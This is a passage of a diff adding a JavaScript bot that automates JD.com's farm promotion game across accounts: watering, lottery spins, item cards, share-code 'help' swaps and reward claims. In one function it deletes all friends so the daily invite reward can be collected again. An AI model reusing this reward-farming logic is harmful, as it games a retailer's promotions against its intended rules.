`【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`; + } else { + // message += '【十次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取10次浇水奖励结果: ${JSON.stringify($.totalWaterReward)}`); + } + } else if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + // message += `【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`; + console.log(`【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`); + } + console.log('finished 水果任务完成!'); +} +//再次浇水 +async function doTenWaterAgain() { + console.log('开始检查剩余水滴能否再次浇水再次浇水\n'); + await initForFarm(); + let totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + console.log(`剩余水滴${totalEnergy}g\n`); + await myCardInfoForFarm(); + const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; + console.log(`背包已有道具:\n快速浇水卡:${fastCard === -1 ? '未解锁' : fastCard + '张'}\n水滴翻倍卡:${doubleCard === -1 ? '未解锁' : doubleCard + '张'}\n水滴换京豆卡:${beanCard === -1 ? '未解锁' : beanCard + '张'}\n加签卡:${signCard === -1 ? '未解锁' : signCard + '张'}\n`) + if (totalEnergy >= 100 && doubleCard > 0) { + //使用翻倍水滴卡 + for (let i = 0; i < new Array(doubleCard).fill('').length; i++) { + await userMyCardForFarm('doubleCard'); + console.log(`使用翻倍水滴卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + if (signCard > 0) { + //使用加签卡 + for (let i = 0; i < new Array(signCard).fill('').length; i++) { + await userMyCardForFarm('signCard'); + console.log(`使用加签卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match('限时翻倍')) { + console.log(`\n您设置的是水滴换豆功能,现在为您换豆`); + + for (let lncount = 0; lncount < $.myCardInfoRes.beanCard; lncount++) { + if (totalEnergy >= 150 && $.myCardInfoRes.beanCard > 0) { + //使用水滴换豆卡 + await userMyCardForFarm('beanCard'); + console.log(`使用水滴换豆卡结果:${JSON.stringify($.userMyCardRes)}`); + if ($.userMyCardRes.code === '0') { + totalEnergy=totalEnergy-100; + message += `【水滴换豆卡】获得${$.userMyCardRes.beanCount}个京豆\n`; + } + } else { + console.log(`您目前水滴:${totalEnergy}g,水滴换豆卡${$.myCardInfoRes.beanCard}张,暂不满足水滴换豆的条件,为您继续浇水`) + break; + } + } + return; + } + // if (totalEnergy > 100 && $.myCardInfoRes.fastCard > 0) { + // //使用快速浇水卡 + // await userMyCardForFarm('fastCard'); + // console.log(`使用快速浇水卡结果:${JSON.stringify($.userMyCardRes)}`); + // if ($.userMyCardRes.code === '0') { + // console.log(`已使用快速浇水卡浇水${$.userMyCardRes.waterEnergy}g`); + // } + // await initForFarm(); + // totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + // } + // 所有的浇水(10次浇水)任务,获取水滴任务完成后,如果剩余水滴大于等于60g,则继续浇水(保留部分水滴是用于完成第二天的浇水10次的任务) + let overageEnergy = totalEnergy - retainWater; + if (totalEnergy >= ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy)) { + //如果现有的水滴,大于水果可兑换所需的对滴(也就是把水滴浇完,水果就能兑换了) + isFruitFinished = false; + for (let i = 0; i < ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10; i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果(水果马上就可兑换了): ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log('\n浇水10g成功\n'); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + console.log(`目前水滴【${$.waterResult.totalEnergy}】g,继续浇水,水果马上就可以兑换了`) + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else if (overageEnergy >= 10) { + console.log("目前剩余水滴:【" + totalEnergy + "】g,可继续浇水"); + isFruitFinished = false; + for (let i = 0; i < parseInt(overageEnergy / 10); i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`\n浇水10g成功,剩余${$.waterResult.totalEnergy}\n`) + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + await gotStageAward() + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else { + console.log("目前剩余水滴:【" + totalEnergy + "】g,不再继续浇水,保留部分水滴用于完成第二天【十次浇水得水滴】任务") + } +} +//领取阶段性水滴奖励 +function gotStageAward() { + return new Promise(async resolve => { + if ($.waterResult.waterStatus === 0 && $.waterResult.treeEnergy === 10) { + console.log('果树发芽了,奖励30g水滴'); + await gotStageAwardForFarm('1'); + console.log(`浇水阶段奖励1领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`; + console.log(`【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`); + } + } else if ($.waterResult.waterStatus === 1) { + console.log('果树开花了,奖励40g水滴'); + await gotStageAwardForFarm('2'); + console.log(`浇水阶段奖励2领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } else if ($.waterResult.waterStatus === 2) { + console.log('果树长出小果子啦, 奖励50g水滴'); + await gotStageAwardForFarm('3'); + console.log(`浇水阶段奖励3领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`) + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } + resolve() + }) +} +//天天抽奖活动 +async function turntableFarm() { + await initForTurntableFarm(); + if ($.initForTurntableFarmRes.code === '0') { + //领取定时奖励 //4小时一次 + let { timingIntervalHours, timingLastSysTime, sysTime, timingGotStatus, remainLotteryTimes, turntableInfos } = $.initForTurntableFarmRes; + + if (!timingGotStatus) { + console.log(`是否到了领取免费赠送的抽奖机会----${sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)}`) + if (sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)) { + await timingAwardForTurntableFarm(); + console.log(`领取定时奖励结果${JSON.stringify($.timingAwardRes)}`); + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } else { + console.log(`免费赠送的抽奖机会未到时间`) + } + } else { + console.log('4小时候免费赠送的抽奖机会已领取') + } + if ($.initForTurntableFarmRes.turntableBrowserAds && $.initForTurntableFarmRes.turntableBrowserAds.length > 0) { + for (let index = 0; index < $.initForTurntableFarmRes.turntableBrowserAds.length; index++) { + if (!$.initForTurntableFarmRes.turntableBrowserAds[index].status) { + console.log(`开始浏览天天抽奖的第${index + 1}个逛会场任务`) + await browserForTurntableFarm(1, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0' && $.browserForTurntableFarmRes.status) { + console.log(`第${index + 1}个逛会场任务完成,开始领取水滴奖励\n`) + await browserForTurntableFarm(2, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0') { + console.log(`第${index + 1}个逛会场任务领取水滴奖励完成\n`) + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } + } + } else { + console.log(`浏览天天抽奖的第${index + 1}个逛会场任务已完成`) + } + } + } + //天天抽奖助力 + console.log('开始天天抽奖--好友助力--每人每天只有三次助力机会.') + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('天天抽奖-不能自己给自己助力\n') + continue + } + await lotteryMasterHelp(code); + // console.log('天天抽奖助力结果',lotteryMasterHelpRes.helpResult) + if ($.lotteryMasterHelpRes.helpResult.code === '0') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}成功\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '11') { + console.log(`天天抽奖-不要重复助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '13') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}失败,助力次数耗尽\n`); + break; + } + } + console.log(`---天天抽奖次数remainLotteryTimes----${remainLotteryTimes}次`) + //抽奖 + if (remainLotteryTimes > 0) { + console.log('开始抽奖') + let lotteryResult = ''; + for (let i = 0; i < new Array(remainLotteryTimes).fill('').length; i++) { + await lotteryForTurntableFarm() + console.log(`第${i + 1}次抽奖结果${JSON.stringify($.lotteryRes)}`); + if ($.lotteryRes.code === '0') { + turntableInfos.map((item) => { + if (item.type === $.lotteryRes.type) { + console.log(`lotteryRes.type${$.lotteryRes.type}`); + if ($.lotteryRes.type.match(/bean/g) && $.lotteryRes.type.match(/bean/g)[0] === 'bean') { + lotteryResult += `${item.name}个,`; + } else if ($.lotteryRes.type.match(/water/g) && $.lotteryRes.type.match(/water/g)[0] === 'water') { + lotteryResult += `${item.name},`; + } else { + lotteryResult += `${item.name},`; + } + } + }) + //没有次数了 + if ($.lotteryRes.remainLotteryTimes === 0) { + break + } + } + } + if (lotteryResult) { + console.log(`【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`) + // message += `【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`; + } + } else { + console.log('天天抽奖--抽奖机会为0次') + } + } else { + console.log('初始化天天抽奖得好礼失败') + } +} +//领取额外奖励水滴 +async function getExtraAward() { + await farmAssistInit(); + if ($.farmAssistResult.code === "0") { + if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length >= 2) { + if ($.farmAssistResult.status === 2) { + let num = 0; + for (let key of Object.keys($.farmAssistResult.assistStageList)) { + let vo = $.farmAssistResult.assistStageList[key] + if (vo.stageStaus === 2) { + await receiveStageEnergy() + if ($.receiveStageEnergy.code === "0") { + console.log(`已成功领取第${key + 1}阶段好友助力奖励:【${$.receiveStageEnergy.amount}】g水`) + num += $.receiveStageEnergy.amount + } + } + } + message += `【额外奖励】${num}g水领取成功\n`; + } else if ($.farmAssistResult.status === 3) { + console.log("已经领取过8好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到2个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达2个\n`; + } + if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length > 0) { + let str = ''; + $.farmAssistResult.assistFriendList.map((item, index) => { + if (index === ($.farmAssistResult.assistFriendList.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } else { + await masterHelpTaskInitForFarm(); + if ($.masterHelpResult.code === '0') { + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length >= 5) { + // 已有五人助力。领取助力后的奖励 + if (!$.masterHelpResult.masterGotFinal) { + await masterGotFinishedTaskForFarm(); + if ($.masterGotFinished.code === '0') { + console.log(`已成功领取好友助力奖励:【${$.masterGotFinished.amount}】g水`); + message += `【额外奖励】${$.masterGotFinished.amount}g水领取成功\n`; + } + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到5个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length > 0) { + let str = ''; + $.masterHelpResult.masterHelpPeoples.map((item, index) => { + if (index === ($.masterHelpResult.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } + } +} +//助力好友 +async function masterHelpShare() { + + await initForFarm(); + let salveHelpAddWater = 0; + let remainTimes = 3;//今日剩余助力次数,默认3次(京东农场每人每天3次助力机会)。 + let helpSuccessPeoples = '';//成功助力好友 + if(llhelp){ + console.log('开始助力好友') + for (let code of newShareCodes) { + if(NoNeedCodes){ + var llnoneed=false; + for (let NoNeedCode of NoNeedCodes) { + if (code==NoNeedCode){ + llnoneed=true; + break; + } + } + if(llnoneed){ + console.log(`${code}助力已满,跳过...`); + continue; + } + } + console.log(`${$.UserName}开始助力: ${code}`); + if (!code) continue; + if (!$.farmInfo.farmUserPro) { + console.log('未种植,跳过助力\n') + continue + } + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('不能为自己助力哦,跳过自己的shareCode\n') + continue + } + await masterHelp(code); + if ($.helpResult.code === '0') { + if ($.helpResult.helpResult.code === '0') { + //助力成功 + salveHelpAddWater += $.helpResult.helpResult.salveHelpAddWater; + console.log(`【助力好友结果】: 已成功给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力`); + console.log(`给好友【${$.helpResult.helpResult.masterUserInfo.nickName}】助力获得${$.helpResult.helpResult.salveHelpAddWater}g水滴`) + helpSuccessPeoples += ($.helpResult.helpResult.masterUserInfo.nickName || '匿名用户') + ','; + } else if ($.helpResult.helpResult.code === '8') { + console.log(`【助力好友结果】: 助力【${$.helpResult.helpResult.masterUserInfo.nickName}】失败,您今天助力次数已耗尽`); + } else if ($.helpResult.helpResult.code === '9') { + console.log(`【助力好友结果】: 之前给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力过了`); + } else if ($.helpResult.helpResult.code === '10') { + NoNeedCodes.push(code); + console.log(`【助力好友结果】: 好友【${$.helpResult.helpResult.masterUserInfo.nickName}】已满五人助力`); + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.helpResult)}`); + } + console.log(`【今日助力次数还剩】${$.helpResult.helpResult.remainTimes}次\n`); + remainTimes = $.helpResult.helpResult.remainTimes; + if ($.helpResult.helpResult.remainTimes === 0) { + console.log(`您当前助力次数已耗尽,跳出助力`); + break + } + } else { + console.log(`助力失败::${JSON.stringify($.helpResult)}`); + } + } + } + if ($.isLoon() || $.isQuanX() || $.isSurge()) { + let helpSuccessPeoplesKey = timeFormat() + $.farmInfo.farmUserPro.shareCode; + if (!$.getdata(helpSuccessPeoplesKey)) { + //把前一天的清除 + $.setdata('', timeFormat(Date.now() - 24 * 60 * 60 * 1000) + $.farmInfo.farmUserPro.shareCode); + $.setdata('', helpSuccessPeoplesKey); + } + if (helpSuccessPeoples) { + if ($.getdata(helpSuccessPeoplesKey)) { + $.setdata($.getdata(helpSuccessPeoplesKey) + ',' + helpSuccessPeoples, helpSuccessPeoplesKey); + } else { + $.setdata(helpSuccessPeoples, helpSuccessPeoplesKey); + } + } + helpSuccessPeoples = $.getdata(helpSuccessPeoplesKey); + } + if (helpSuccessPeoples && helpSuccessPeoples.length > 0) { + message += `【您助力的好友👬】${helpSuccessPeoples.substr(0, helpSuccessPeoples.length - 1)}\n`; + } + if (salveHelpAddWater > 0) { + // message += `【助力好友👬】获得${salveHelpAddWater}g💧\n`; + console.log(`【助力好友👬】获得${salveHelpAddWater}g💧\n`); + } + message += `【今日剩余助力👬】${remainTimes}次\n`; +} +//水滴雨 +async function executeWaterRains() { + let executeWaterRain = !$.farmTask.waterRainInit.f; + if (executeWaterRain) { + console.log(`水滴雨任务,每天两次,最多可得10g水滴`); + console.log(`两次水滴雨任务是否全部完成:${$.farmTask.waterRainInit.f ? '是' : '否'}`); + if ($.farmTask.waterRainInit.lastTime) { + if (Date.now() < ($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000)) { + executeWaterRain = false; + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`; + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`); + } + } + if (executeWaterRain) { + console.log(`开始水滴雨任务,这是第${$.farmTask.waterRainInit.winTimes + 1}次,剩余${2 - ($.farmTask.waterRainInit.winTimes + 1)}次`); + await waterRainForFarm(); + console.log('水滴雨waterRain'); + if ($.waterRain.code === '0') { + console.log('水滴雨任务执行成功,获得水滴:' + $.waterRain.addEnergy + 'g'); + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`); + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`; + } + } + } else { + // message += `【水滴雨】已全部完成,获得20g💧\n`; + } +} +//打卡领水活动 +async function clockInIn() { + console.log('开始打卡领水活动(签到,关注,领券)'); + await clockInInitForFarm(); + if ($.clockInInit.code === '0') { + // 签到得水滴 + if (!$.clockInInit.todaySigned) { + console.log('开始今日签到'); + await clockInForFarm(); + console.log(`打卡结果${JSON.stringify($.clockInForFarmRes)}`); + if ($.clockInForFarmRes.code === '0') { + // message += `【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`; + console.log(`【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`) + if ($.clockInForFarmRes.signDay === 7) { + //可以领取惊喜礼包 + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + } + } + if ($.clockInInit.todaySigned && $.clockInInit.totalSigned === 7) { + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + // 限时关注得水滴 + if ($.clockInInit.themes && $.clockInInit.themes.length > 0) { + for (let item of $.clockInInit.themes) { + if (!item.hadGot) { + console.log(`关注ID${item.id}`); + await clockInFollowForFarm(item.id, "theme", "1"); + console.log(`themeStep1--结果${JSON.stringify($.themeStep1)}`); + if ($.themeStep1.code === '0') { + await clockInFollowForFarm(item.id, "theme", "2"); + console.log(`themeStep2--结果${JSON.stringify($.themeStep2)}`); + if ($.themeStep2.code === '0') { + console.log(`关注${item.name},获得水滴${$.themeStep2.amount}g`); + } + } + } + } + } + // 限时领券得水滴 + if ($.clockInInit.venderCoupons && $.clockInInit.venderCoupons.length > 0) { + for (let item of $.clockInInit.venderCoupons) { + if (!item.hadGot) { + console.log(`领券的ID${item.id}`); + await clockInFollowForFarm(item.id, "venderCoupon", "1"); + console.log(`venderCouponStep1--结果${JSON.stringify($.venderCouponStep1)}`); + if ($.venderCouponStep1.code === '0') { + await clockInFollowForFarm(item.id, "venderCoupon", "2"); + if ($.venderCouponStep2.code === '0') { + console.log(`venderCouponStep2--结果${JSON.stringify($.venderCouponStep2)}`); + console.log(`从${item.name}领券,获得水滴${$.venderCouponStep2.amount}g`); + } + } + } + } + } + } + console.log('开始打卡领水活动(签到,关注,领券)结束\n'); +} +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + // console.log(`查询好友列表数据:${JSON.stringify($.friendList)}\n`) + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { "shareCode": `${friend.shareCode}`, "version": 8, "channel": 1 }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} +//给好友浇水 +async function doFriendsWater() { + await friendListInitForFarm(); + console.log('开始给好友浇水...'); + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax } = $.farmTask.waterFriendTaskInit; + console.log(`今日已给${waterFriendCountKey}个好友浇水`); + if (waterFriendCountKey < waterFriendMax) { + let needWaterFriends = []; + if ($.friendList.friends && $.friendList.friends.length > 0) { + $.friendList.friends.map((item, index) => { + if (item.friendState === 1) { + if (needWaterFriends.length < (waterFriendMax - waterFriendCountKey)) { + needWaterFriends.push(item.shareCode); + } + } + }); + console.log(`需要浇水的好友列表shareCodes:${JSON.stringify(needWaterFriends)}`); + let waterFriendsCount = 0, cardInfoStr = ''; + for (let index = 0; index < needWaterFriends.length; index++) { + await waterFriendForFarm(needWaterFriends[index]); + console.log(`为第${index + 1}个好友浇水结果:${JSON.stringify($.waterFriendForFarmRes)}\n`) + if ($.waterFriendForFarmRes.code === '0') { + waterFriendsCount++; + if ($.waterFriendForFarmRes.cardInfo) { + console.log('为好友浇水获得道具了'); + if ($.waterFriendForFarmRes.cardInfo.type === 'beanCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴换豆卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'fastCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `快速浇水卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'doubleCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴翻倍卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'signCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `加签卡,`; + } + } + } else if ($.waterFriendForFarmRes.code === '11') { + console.log('水滴不够,跳出浇水') + } + } + // message += `【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`; + console.log(`【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`); + if (cardInfoStr && cardInfoStr.length > 0) { + // message += `【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`; + console.log(`【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`); + } + } else { + console.log('您的好友列表暂无好友,快去邀请您的好友吧!') + } + } else { + console.log(`今日已为好友浇水量已达${waterFriendMax}个`) + } +} +//领取给3个好友浇水后的奖励水滴 +async function getWaterFriendGotAward() { + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax, waterFriendSendWater, waterFriendGotAward } = $.farmTask.waterFriendTaskInit + if (waterFriendCountKey >= waterFriendMax) { + if (!waterFriendGotAward) { + await waterFriendGotAwardForFarm(); + console.log(`领取给${waterFriendMax}个好友浇水后的奖励水滴::${JSON.stringify($.waterFriendGotAwardRes)}`) + if ($.waterFriendGotAwardRes.code === '0') { + // message += `【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`; + console.log(`【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`); + } + } else { + console.log(`给好友浇水的${waterFriendSendWater}g水滴奖励已领取\n`); + // message += `【给${waterFriendMax}好友浇水】奖励${waterFriendSendWater}g水滴已领取\n`; + } + } else { + console.log(`暂未给${waterFriendMax}个好友浇水\n`); + } +} +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes)}`) + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } + // console.log(`开始接受6fbd26cc27ac44d6a7fed34092453f77的邀请\n`) + // await inviteFriend('6fbd26cc27ac44d6a7fed34092453f77'); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes.helpResult)}`) + // if ($.inviteFriendRes.helpResult.code === '0') { + // console.log(`您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + // } else if ($.inviteFriendRes.helpResult.code === '17') { + // console.log(`对方已是您的好友`) + // } +} +async function duck() { + for (let i = 0; i < 10; i++) { + //这里循环十次 + await getFullCollectionReward(); + if ($.duckRes.code === '0') { + if (!$.duckRes.hasLimit) { + console.log(`小鸭子游戏:${$.duckRes.title}`); + // if ($.duckRes.type !== 3) { + // console.log(`${$.duckRes.title}`); + // if ($.duckRes.type === 1) { + // message += `【小鸭子】为你带回了水滴\n`; + // } else if ($.duckRes.type === 2) { + // message += `【小鸭子】为你带回快速浇水卡\n` + // } + // } + } else { + console.log(`${$.duckRes.title}`) + break; + } + } else if ($.duckRes.code === '10') { + console.log(`小鸭子游戏达到上限`) + break; + } + } +} +async function GetCollect() { + try { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】`); + var llfound = false; + var strShareCode = ""; + if (TempShareCache) { + for (let j = 0; j < TempShareCache.length; j++) { + if (TempShareCache[j].pt_pin == $.UserName) { + llfound = true; + strShareCode = TempShareCache[j].ShareCode; + } + } + } + if (!llfound) { + console.log($.UserName + "该账号无缓存,尝试联网获取互助码....."); + llgetshare=true; + await initForFarm(); + if ($.farmInfo.farmUserPro) { + var tempAddCK = {}; + strShareCode=$.farmInfo.farmUserPro.shareCode; + tempAddCK = { + "pt_pin": $.UserName, + "ShareCode": strShareCode + }; + TempShareCache.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + if (strShareCode) { + console.log(`\n`+strShareCode); + newShareCodes.push(strShareCode) + } else { + 